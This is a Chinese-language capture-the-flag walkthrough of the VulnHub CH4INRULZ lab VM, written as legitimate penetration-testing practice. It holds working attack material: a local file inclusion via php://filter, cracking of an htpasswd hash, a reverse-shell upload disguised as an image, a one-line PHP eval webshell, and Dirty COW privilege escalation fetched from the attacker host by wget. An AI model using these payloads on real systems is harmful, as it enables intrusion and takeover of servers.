1.CH4INRULZ_v1.0.1靶場通關
ch4inrulz是vulnhub下的基於Linux的一個靶場，作為練習之用
目的：通過各種手段，獲取到靶機內的flag的內容
2.環境搭建：
攻擊機 Kali 192.168.31.51
靶機 Ubuntu 192.168.31.128
2.1下載CH4INRULZ_v1.0.1靶場，地址：https://download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova
2.2將下載好的.ova擴展名的文件，直接用vm或者vbox虛擬機打開即可，會自動導入配置，打開虛擬機，會進入Ubuntu的登錄界面
這里需注意的是，在打開靶機之前，需要把網絡設置為橋接或者NAT
還有一點就是，因為不需要對靶機進行登錄操作，所以不要去糾結沒有登錄密碼什么的
3.正式開始測試
3.1靶機配置
本人的靶機網卡配置為NAT模式，並啟用DHCP，通過查看靶機的虛擬機配置下的網卡mac地址，或結合nmap對虛擬機的NAT網段進行主機掃描，如下，使用排除法輕松獲取靶機ip是192.168.31.128/24
┌──(root💀kali)-[~]
└─# nmap -sV 192.168.31.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 09:54 CST
Nmap scan report for 192.168.31.1
Host is up (0.00056s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
443/tcp open ssl/https VMware Workstation SOAP API 16.1.2
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:50:56:C0:00:08 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:vmware:Workstation:16.1.2, cpe:/o:microsoft:windows
Nmap scan report for 192.168.31.128
Host is up (0.0046s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
3.2端口掃描
對靶機192.168.31.128進行端口掃描，確認其開放的端口，開啟的服務，這里使用nmap版本探測
┌──(root💀kali)-[~]
└─# nmap -sV 192.168.31.128 #探測開啟的端口獲取服務和版本信息
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 11:36 CST
Nmap scan report for 192.168.31.128
Host is up (0.00088s latency).
2. Not shown: 996 closed ports1.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
#nmap的 -A 參數，意思是一次性掃描包含系統探測 本部探測 腳本掃描和跟蹤掃描,獲取到的信息更詳細
┌──(root💀kali)-[~]
└─# nmap -sV -A 192.168.31.128
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 16:17 CST
Nmap scan report for 192.168.31.128
Host is up (0.00050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.31.51
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.31.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.78 seconds
端口掃描小結
到這一步可以得知，靶機開啟了4個端口，分別是FTP（21），SSH（22），HTTP（80），HTTP（8011），並且配置了APACHE中間件作為服務端解析器，這里可以猜測大概率使用的是php語言，
3.3手工對端口驗證和信息整理
FTP服務
FTP提示Anonymous FTP login allowed ，允許匿名登錄，登錄名為：anonymous，密碼為空，但沒發現有價值的信息
┌──(root💀kali)-[~]
└─# ftp 192.168.31.128
Connected to 192.168.31.128.
220 (vsFTPd 2.3.5)
Name (192.168.31.128:gaobo): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 111 4096 Apr 13 2018 .
drwxr-xr-x 2 0 111 4096 Apr 13 2018 ..
226 Directory send OK.
Web服務：80，8011端口
http://192.168.31.128/
#直接可以打開訪問，是個人網站，個人簡歷之類的
http://192.168.31.128:8011/
#提示Development Server !
分別對靶機的80，8011端口進行目錄掃描，期望獲得有價值的文件信息，這里使用7kb，和破殼同時掃描，結果如下：
23.存在該資源 http://192.168.31.128:8011/api
41.存在該資源 http://192.168.31.128/index.html.bak
8011端口
瀏覽器訪問 http://192.168.31.128:8011/api
發現提示：
This API will be used to communicate with Frank's server
but it's still under development
* web_api.php
* records_api.php
* files_api.php
* database_api.php、、
說明有4個API接口
經過嘗試挨個訪問，只有files_api.php存在，其它都顯示404。
http://192.168.31.128:8011/api/files_api.php顯示：No parameter called file passed to me* Note : this API don't use json , so send the file name in raw format這里的意思是files_api.php后面需要接參數
隨便用file作為參數測試了一下，被攔截，並記錄IP，GET方式被攔截，下面用POST方式試試
http://192.168.31.128:8011/api/files_api.php?file=xxxx
******* HACKER DETECTED *********YOUR IP IS : 192.168.31.1WRONG INPUT !!
發現文件包含漏洞
Burp抓包，改為Post請求，php偽協議讀一下files_api.php文件內容，
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
file=php://filter/convert.base64-encode/resource=files_api.php
對讀到的內容進行base64解碼
：
<head>
<title>franks website | simple website browser API</title>
</head>
<?php
$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];
if(isset($get_file)){
echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}
if(!isset($file)){
echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";
}
/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
"HACKER DETECTED ..";
}
}**/
?>
發現源碼中禁止以GET形式讀etc/passwd文件，其他的文件也讀不到了
發現存在目錄遍歷漏洞
繼續構造Post請求，使用偽協議查看/etc/passwd ，發現存在目錄遍歷漏洞，
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
file=/etc/passwd
獲取到信息如下，發現一個frank用戶，結合后面繼續看
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
**frank:x:1000:1000:frank,,,:/home/frank:/bin/bash**
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false
80端口
發現敏感信息泄露
http://192.168.31.128/index.html.bak，這個應該是網頁開發的時候留下的備份文件，經去掉bak后綴，手動打開index.html，查看源代碼發現如下；
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>
這里發現了敏感信息：frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0，這應該是一個登錄名和加密后的登錄密碼
暴力破解口令
使用kali下的john工具，對 "frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0" 進行弱口令爆破，
John用法:john <filename>
創建文件，使用VIM將內容：frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 保存
┌──(root💀kali)-[~]
└─# touch frank.txt
└─# vim ./frank.txt
└─# cat ./frank.txt
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
┌──(root💀kali)-[~]
└─# john ./frank.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!! (frank)
1g 0:00:00:00 DONE 1/3 (2021-09-01 16:02) 100.0g/s 19200p/s 19200c/s 19200C/s Frank8..1frank
Use the "--show" option to display all of the cracked passwords reliably
Session completed
成功獲取到frank用戶的密碼：frank!!!
繼續看 index.html.bak，發現還有一個目錄development
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
所有，嘗試去訪問 http://192.168.31.128/development/，發現需要登陸，
使用上一步破解的登錄名，frank和frank!!!，發現登陸成功，顯示為：
Here is my unfinished tools listthe uploader tool (finished but need security review)
發現文件上傳點
接着回顯的英文提示信息，拼接uploader構造一個URL：http://192.168.31.128/development/uploader/ 打開發現是一個上傳文件的界面，下面有提示
TODO : script security "50% FINISHED" 安全性50%，說明肯定是存在文件上傳漏洞的
通過上傳測試，發現上傳.jpg的圖片文件可以成功上傳，提示保存成功，其他的則不行
File is an image - image/jpeg.The file icon.jpg has been uploaded to my uploads path.
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded. #只能上傳圖片格式的文件
利用文件包含漏洞讀上傳頁面源碼進行審計
接下來准備嘗試上傳webshell，但發現一般的圖片木馬不能直接上傳，說明服務端存在擴展名和文件內容檢測
先利用上一步得到的文件包含漏洞，使用PHP偽協議php://filter/convert.base64-encode/resource=
讀一下文件上傳頁面（upload.php）php代碼，並看能不能找到上傳的文件在服務器保存的目錄，否則即使上傳成功，找不到目錄也是無法訪問
根據經驗，一般網站都在/var/www/html 目錄下
經過測試發現 80 端口的網站在/var/www/目錄下
利用 8011 端口發現的文件包含漏洞，讀 upload.php。看看服務器是怎么處理的。
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php
得到結果為base64編碼的字符串
PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=
對讀到的內容進行base64解碼：
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
成功發現上傳文件的保存目錄
在這一步得到了文件上傳頁面upload.php的代碼，發現上傳的文件保存在目錄FRANKuploads/
即：http://192.168.31.128/development/uploader/FRANKuploads/，可以訪問上傳的所有文件的目錄
上傳Webshell
這里使用Kali自帶的PHP反向連接馬，目錄如下，/usr/share/webshells/php/php-reverse-shell.php
修改IP為攻擊機的ip，最后擴展名改為kali.jpg，然后抓包上傳，在BURP修改文件頭為GIF89a，發現成功上傳
先在攻擊機執行nc監聽
nc -lvvp 1234 1 ⨯listening on [any] 1234 ...
在burp里利用文件包含漏洞直接去訪問上傳的kali.jpg木馬
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
file=/var/www/development/uploader/FRANKuploads/kali.jpg
發現成功反彈了shell，不過不是root用戶，屬於普通用戶
┌──(root💀kali)-[/usr/share/webshells/php]
└─# nc -lvvp 1234 1 ⨯
listening on [any] 1234 ...
192.168.31.128: inverse host lookup failed: Unknown host
connect to [192.168.31.51] from (UNKNOWN) [192.168.31.128] 47666
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
17:59:14 up 15:16, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ whoami
www-data
$ uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
這里，還有一個思路，使用同樣的方法上傳包含一句話的圖片馬，配合蟻劍也可以拿到shell，如下：
caidao.gif<?php @eval($_POST[pass]);?>
蟻劍添加數據如下，發現成功連接
URL地址：http://192.168.31.128:8011/api/files_api.php
連接密碼：pass
請求信息欄--http body
Name:file
Value:/var/www/development/uploader/FRANKuploads/caidao.gif
通過自帶的虛擬終端可以執行linux命令和查看目錄，由於屬於普通用戶，需要進行提權
4.臟牛提權
發現linux內核是 2.6.35
Linux kernel >= 2.6.22（2007年發行，到2016年10月18日才修復），使用臟牛（CVE-2016-5195）提權
低權限用戶利用該漏洞可以在眾多Linux系統上實現本地提權
在攻擊機開啟web服務，比如 apache 服務，然后在github下載臟牛提權文件dirty.c，地址：https://github.com/FireFart/dirtycow
把文件dirty.c放在攻擊機的/var/www/html/目錄下
┌──(root💀kali)-[/var/www/html]
└─# service apache2 restart
┌──(root💀kali)-[/var/www/html]
└─# netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 587/sshd: /usr/sbin
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 655/postgres
tcp6 0 0 :::22 :::* LISTEN 587/sshd: /usr/sbin
tcp6 0 0 ::1:5432 :::* LISTEN 655/postgres
tcp6 0 0 :::80 :::* LISTEN 12743/apache2
接着在靶機發現只有tmp目錄有可寫權限，所以進入/tmp目錄下，使用wget下載攻擊機上的臟牛提權文件dirty.c，並再在靶機執行gcc編輯為dirty（注意：這里一定要上傳到靶機上在進行gcc編譯，不能在別的機器編譯再好傳過來）
www-data@ubuntu:/$ ls -l
ls -l
total 88
drwxr-xr-x 2 root root 4096 Apr 13 2018 bin
drwxr-xr-x 3 root root 4096 Apr 13 2018 boot
drwxr-xr-x 16 root root 4040 Sep 1 02:43 dev
drwxr-xr-x 78 root root 4096 Sep 2 09:45 etc
drwxr-xr-x 3 root root 4096 Apr 13 2018 home
lrwxrwxrwx 1 root root 33 Apr 13 2018 initrd.img -> boot/initrd.img-2.6.35-19-generic
drwxr-xr-x 15 root root 12288 Apr 14 2018 lib
drwxr-xr-x 2 root root 4096 Apr 13 2018 lib64
drwx------ 2 root root 16384 Apr 13 2018 lost+found
drwxr-xr-x 4 root root 4096 Apr 13 2018 media
drwxr-xr-x 3 root root 4096 Apr 13 2018 mnt
drwxr-xr-x 2 root root 4096 Apr 13 2018 opt
dr-xr-xr-x 129 root root 0 Sep 1 02:43 proc
drwx------ 4 root root 4096 Apr 14 2018 root
drwxr-xr-x 2 root root 4096 Apr 13 2018 sbin
drwxr-xr-x 2 root root 4096 May 9 2010 selinux
drwxr-xr-x 3 root root 4096 Apr 13 2018 srv
drwxr-xr-x 13 root root 0 Sep 1 02:43 sys
drwxrwxrwt 4 root root 4096 Sep 2 09:46 tmp
drwxr-xr-x 10 root root 4096 Apr 13 2018 usr
drwxr-xr-x 16 frank frank 4096 Apr 14 2018 var
www-data@ubuntu:/$ cd /tmp
www-data@ubuntu:/tmp$ wget http://192.168.31.51/dirty.c
wget http://192.168.31.51/dirty.c
--2021-09-02 09:51:18-- http://192.168.31.51/dirty.c
Connecting to 192.168.31.51:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'
100%[======================================>] 4,815 --.-K/s in 0s
2021-09-02 09:51:18 (524 MB/s) - `dirty.c' saved [4815/4815]
www-data@ubuntu:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
www-data@ubuntu:/tmp$ ls -l
ls -l
total 36
drwxrwxrwt 2 root root 4096 Sep 1 02:43 VMwareDnD
-rw-r--r-- 1 root root 1860 Sep 1 02:43 _cafenv-appconfig_
-rwxrwxrwx 1 www-data www-data 14116 Sep 2 09:51 dirty
-rw-rw-rw- 1 www-data www-data 4815 Apr 24 2017 dirty.c
drwx------ 2 root root 4096 Sep 2 09:49 vmware-root
然后正式開始臟牛提權，這里會提示輸入新密碼：123456，然后需要多等等一會，就會提示成功的字樣
$ ./dirty
Please enter the new password: 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash
mmap: 7f3c94f58000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash
mmap: 7f3c94f58000
madvise 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
使用xhell連接，賬號：firefart 123456，發現已經是root賬戶了
firefart@ubuntu:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@ubuntu:~# cat root.txt
8f420533b79076cc99e9f95a1a4e5568
最后成功發現flag，內容為8f420533b79076cc99e9f95a1a4e5568
到這一步就結束了。
總結：
1、前期的信息收集很重要，這一步直接后決定后面的工作展開的廣度和深度，越詳細越好，並進行判斷
2、這個靶場把文件包含和文件上傳結合了起來，一個不錯的思路，可以練習利用文件包含讀文件，查看信息等
3、目錄掃描，可以考慮使用多個工具，一個掃描器可能掃描的信息不完整